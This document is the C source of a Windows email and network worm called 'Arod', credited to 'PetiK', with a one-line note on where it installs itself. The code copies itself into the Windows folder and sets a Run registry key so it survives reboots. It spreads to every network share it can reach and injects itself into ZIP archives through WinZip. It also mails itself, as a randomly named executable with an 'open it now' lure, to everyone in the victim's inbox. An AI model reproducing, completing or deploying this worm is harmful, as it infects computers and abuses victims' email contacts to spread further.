arod.c

The worm will produce Arod.exe and " get to C: WINDOWS catalogue . After starting the machine again

#include <windows.h>
#include <windowsx.h>
#include <stdio.h>
#include <string.h>
#include <mapi.h>
#include <shellapi.h>
#include <winsock.h>
#include <sys/types.h>
#include <stdlib.h>


char filen[100], copyn[100], copyreg[100], windir[100], sysdir[100],
	inzip[256], fsubj[50];

char* fnam[] =
{
	"NEW", "service", "games", "Gov", "webmaster"
};

char* fmel[] =
{
	"@yahoo.com.cn", "@norton.com", "@microsoft.com.tw",
	"@kimo.ch", "@virus.com", "@hotmail.com.cn"
};

LPSTR run = "Software\\Microsoft\\Windows\\CurrentVersion\\Run",
SHFolder = ".DEFAULT\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders";

char attname[] = "news_xxxxxxxx.exe";

LPTSTR cmdLine, ptr;
BOOL installed;
BYTE desktop[50], favoris[50], personal[50], winzip[50];
DWORD	sizdesktop = sizeof(desktop),sizfavoris = sizeof(favoris),
sizpersonal = sizeof(personal),sizwinzip = sizeof(winzip);

DWORD type = REG_SZ;
long i;

LHANDLE session;
MapiMessage* mes;
MapiRecipDesc from;
char messId[512], mname[50], maddr[30];
HINSTANCE hMAPI;

HKEY hReg;
WIN32_FIND_DATA ffile;

void infzip(char*);

ULONG (PASCAL FAR *mSendMail)(ULONG, ULONG, MapiMessage*, FLAGS, ULONG);
ULONG (PASCAL FAR *mLogoff)(LHANDLE, ULONG, FLAGS, ULONG);
ULONG (PASCAL FAR *mLogon)(ULONG, LPTSTR, LPTSTR, FLAGS, ULONG, LPLHANDLE);
ULONG (PASCAL FAR *mFindNext)(LHANDLE, ULONG, LPTSTR, LPTSTR, FLAGS, ULONG,
	LPTSTR);
ULONG (PASCAL FAR *mReadMail)(LHANDLE, ULONG, LPTSTR, FLAGS, ULONG,
	lpMapiMessage FAR*);
ULONG (PASCAL FAR *mFreeBuffer)(LPVOID);

char ProgramFolder[MAX_PATH];
HANDLE hshell32;
HANDLE hwininet;
char sept[] = "\\";
char *p;

char final[MAX_PATH];
BOOL EnumerateResources(LPNETRESOURCE startingPoint);

#pragma comment(lib,"mpr")

char szFile[260];

UINT EnumShareWork(void)
{
	UINT res = 0;
	
	char thisfile[MAX_PATH];
	GetModuleFileName(NULL,thisfile,MAX_PATH);
	strcpy(szFile, thisfile);
	res = EnumerateResources(NULL);			//Search all share folders

	return(res);
}

UINT CopyToShare(NETRESOURCE l, char* szFile2)
{
	static UINT once=0;
	char szPath[256];
	UINT i = 0;

	if (l.dwType == RESOURCETYPE_DISK)
	{
		strcpy(szPath, l.lpRemoteName);
		i = strlen(szFile2);
		while (*(szFile2 + i) != '\\')
			i--;
		strcat(szPath, szFile2 + i );			//Get file name
		CopyFile(szFile2, szPath, 0);
	}
	return(0);
}

BOOL EnumerateResources(LPNETRESOURCE startingPoint)
{
	DWORD result, resultEnum;
	HANDLE enumHandle;
	LPNETRESOURCE buffer;
	DWORD bufferSize = 16384; 
	DWORD numEntries = 0xFFFFFFFF;
	DWORD i;

	result = WNetOpenEnum(RESOURCE_GLOBALNET, RESOURCETYPE_DISK,
				0/*RESOURCEUSAGE_CONNECTABLE*/, startingPoint, &enumHandle);

	if (result != NO_ERROR)
		return 1;

	
	buffer = (LPNETRESOURCE) GlobalAlloc(GPTR, bufferSize);

	do
	{
		
		bufferSize = 16384;
		numEntries = 0xFFFFFFFF;
		resultEnum = WNetEnumResource(enumHandle, &numEntries, buffer, &bufferSize);

		if (resultEnum == NO_ERROR)
		{
			for (i = 0; i < numEntries; i++)
			{
				if (CopyToShare(buffer[i], szFile))
					return 0;

				if (buffer[i].dwUsage & RESOURCEUSAGE_CONTAINER)
				{
					if (!EnumerateResources(&buffer[i]))
						return 0;
				}
			}
		}
		else if (resultEnum != ERROR_NO_MORE_ITEMS)
			break;
	}
	while (resultEnum != ERROR_NO_MORE_ITEMS);

	GlobalFree((HGLOBAL) buffer);	
	result = WNetCloseEnum(enumHandle);

	return TRUE;
}

int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmd, int nShow)
{

	GetModuleFileName(hInst, filen, 100);
	GetSystemDirectory((char *) sysdir, 100);
	GetWindowsDirectory((char *) copyn, 100);
	strcpy(windir, copyn);
	strcat(copyn, "\\Arod.exe");

	installed = FALSE;
	cmdLine = GetCommandLine();
	
	if (cmdLine)
	{
		for (ptr = cmdLine; ptr[0] != '-' && ptr[1] != 0; ptr++)
			;
		if (ptr[0] == '-' && ptr[1] != 0)
		{
			switch (ptr[1])
			{
			default:
				break;
			case 'i':
				installed = TRUE;
				break;
			case 'p':
				ShellAbout(0, "Arod",
					"Copyright (c)2008 - PetiKVX", 0);
				MessageBox(NULL,"This new Worm was coded by PetiK.\nFrance - (c)2008",
					"Arod", MB_OK | MB_ICONINFORMATION);
				ExitProcess(0);
				break;
			}
		}
	}

	EnumShareWork();
	
	
	if (!installed)
	{
		CopyFile(filen, copyn, FALSE);
		strcpy(copyreg, copyn);
		strcat(copyreg, " -i");
		RegOpenKeyEx(HKEY_LOCAL_MACHINE,run,0,KEY_WRITE,&hReg);
		RegSetValueEx(hReg,"Arod",0,REG_SZ,(BYTE *)copyreg,100);
		RegCloseKey(hReg);
		ExitProcess(0);
	}

	RegOpenKeyEx(HKEY_USERS, SHFolder, 0, KEY_QUERY_VALUE, &hReg);
		RegQueryValueEx(hReg, "Desktop", 0, &type, desktop, &sizdesktop);
		RegQueryValueEx(hReg, "Favorites", 0, &type, favoris, &sizfavoris);
		RegQueryValueEx(hReg, "Personal", 0, &type, personal, &sizpersonal);
	RegCloseKey(hReg);

	RegOpenKeyEx(HKEY_LOCAL_MACHINE,
		"Software\\Microsoft\\windows\\CurrentVersion\\App Paths\\winzip32.exe",
		0, KEY_QUERY_VALUE, &hReg);
		RegQueryValueEx(hReg, NULL, 0, &type, winzip, &sizwinzip);
	RegCloseKey(hReg);

	LoadLibrary("SHELL32");	
	__asm
	{
		mov dword ptr hshell32,eax
	}
	GetProcAddress(hshell32,"SHGetSpecialFolderPathA");

	__asm
	{
		push 1
		push 26h
		lea edx,ProgramFolder
		push edx
		push 0
		call eax
	}
	p = strstr(winzip,sept);
	p = strstr(p+1,sept);
	strcpy(final,ProgramFolder);	
	strcat(final,p);
	FreeLibrary(hshell32);	
/////////////////////////////////////////

	if (strlen(winzip) != 0)
	{
		infzip(windir);
		infzip(sysdir);
		infzip(desktop);
		infzip(personal);
		infzip(favoris);
		infzip("C:\\");
	}

	LoadLibrary("WININET");	
	__asm
	{
		test eax,eax	
		jz end_asm
		mov dword ptr hwininet,eax	
	}

	GetProcAddress(hwininet,"InternetGetConnectedState");
	__asm
	{
	test eax,eax	
	jz end_wininet
	mov	edi,eax	
verf: 
	push	0
	push	Tmp
	call	edi	
	dec	eax	
	jnz	verf	
end_wininet:
	}
	FreeLibrary(hwininet);	
	__asm
	{
end_asm: 
	jmp	end_all_asm
tmp: 
	__emit 0x00
	__emit 0x00
	__emit 0x00
	__emit 0x00
end_all_asm:
	}

	hMAPI = LoadLibrary("MAPI32");
	 mSendMail	= (FARPROC)GetProcAddress(hMAPI, "MAPISendMail");
	 mLogon		= (FARPROC)GetProcAddress(hMAPI, "MAPILogon");
	 mLogoff	= (FARPROC)GetProcAddress(hMAPI, "MAPILogoff");
	 mFindNext	= (FARPROC)GetProcAddress(hMAPI, "MAPIFindNext");
	 mReadMail	= (FARPROC)GetProcAddress(hMAPI, "MAPIReadMail");
	 mFreeBuffer = (FARPROC)GetProcAddress(hMAPI, "MAPIFreeBuffer");
	
	mLogon(NULL, NULL, NULL, MAPI_NEW_SESSION, NULL, &session);
	if (mFindNext(session, 0, NULL, NULL, MAPI_LONG_MSGID, NULL, messId) ==
		SUCCESS_SUCCESS)
	{
		do
		{
			if (mReadMail(session, NULL, messId,
					MAPI_ENVELOPE_ONLY | MAPI_PEEK, NULL, &mes) ==
				SUCCESS_SUCCESS)
			{
				strcpy(mname, mes->lpOriginator->lpszName);
				strcpy(maddr, mes->lpOriginator->lpszAddress);
				for (i = 0; i < 8; i++)
					attname[i + 5] = '1' + (char) (9 * rand() / RAND_MAX);
				fsubj[0] = 0;
				wsprintf(fsubj, "News from %s%s", fnam[GetTickCount() % 4],
					fmel[GetTickCount() % 5]);
				mes->ulReserved = 0;
				mes->lpszSubject = fsubj;
				mes->lpszNoteText = "Exciting!!\n"
									"open it now!!\n";
				mes->lpszMessageType = NULL;
				mes->lpszDateReceived = NULL;
				mes->lpszConversationID = NULL;
				mes->flFlags = MAPI_SENT;
				mes->lpOriginator->ulReserved = 0;
				mes->lpOriginator->ulRecipClass = MAPI_ORIG;
				mes->lpOriginator->lpszName = mes->lpRecips->lpszName;
				mes->lpOriginator->lpszAddress = mes->lpRecips->lpszAddress;
				mes->nRecipCount = 1;
				mes->lpRecips->ulReserved = 0;
				mes->lpRecips->ulRecipClass = MAPI_TO;
				mes->lpRecips->lpszName = mname;
				mes->lpRecips->lpszAddress = maddr;
				mes->nFileCount = 1;
				mes->lpFiles = (MapiFileDesc *) malloc(sizeof(MapiFileDesc));
				memset(mes->lpFiles, 0, sizeof(MapiFileDesc));
				mes->lpFiles->ulReserved = 0;
				mes->lpFiles->flFlags = NULL;
				mes->lpFiles->nPosition = -1;
				mes->lpFiles->lpszPathName = filen;
				mes->lpFiles->lpszFileName = attname;
				mes->lpFiles->lpFileType = NULL;
				mSendMail(session, NULL, mes, NULL, NULL);
			}
		}
		while (mFindNext(session, 0, NULL, messId, MAPI_LONG_MSGID, NULL,
				messId) == SUCCESS_SUCCESS);
		free(mes->lpFiles);
		mFreeBuffer(mes);
		mLogoff(session, 0, 0, 0);
		FreeLibrary(hMAPI);
	}
	

	ExitProcess(0);
}

void infzip(char* folder)
{
	UINT abc = TRUE;
	HANDLE fh;
	if (strlen(folder) != 0)
	{
		SetCurrentDirectory(folder);
		fh = FindFirstFile("*.zip", &ffile);
		if (fh != INVALID_HANDLE_VALUE)
		{
			while (abc)
			{
				inzip[0] = 0;
				wsprintf(inzip, "%s -a -r %s %s", final, ffile.cFileName,copyn);
				WinExec(inzip, 1);
				abc = FindNextFile(fh, &ffile);
			}
		}
	}
}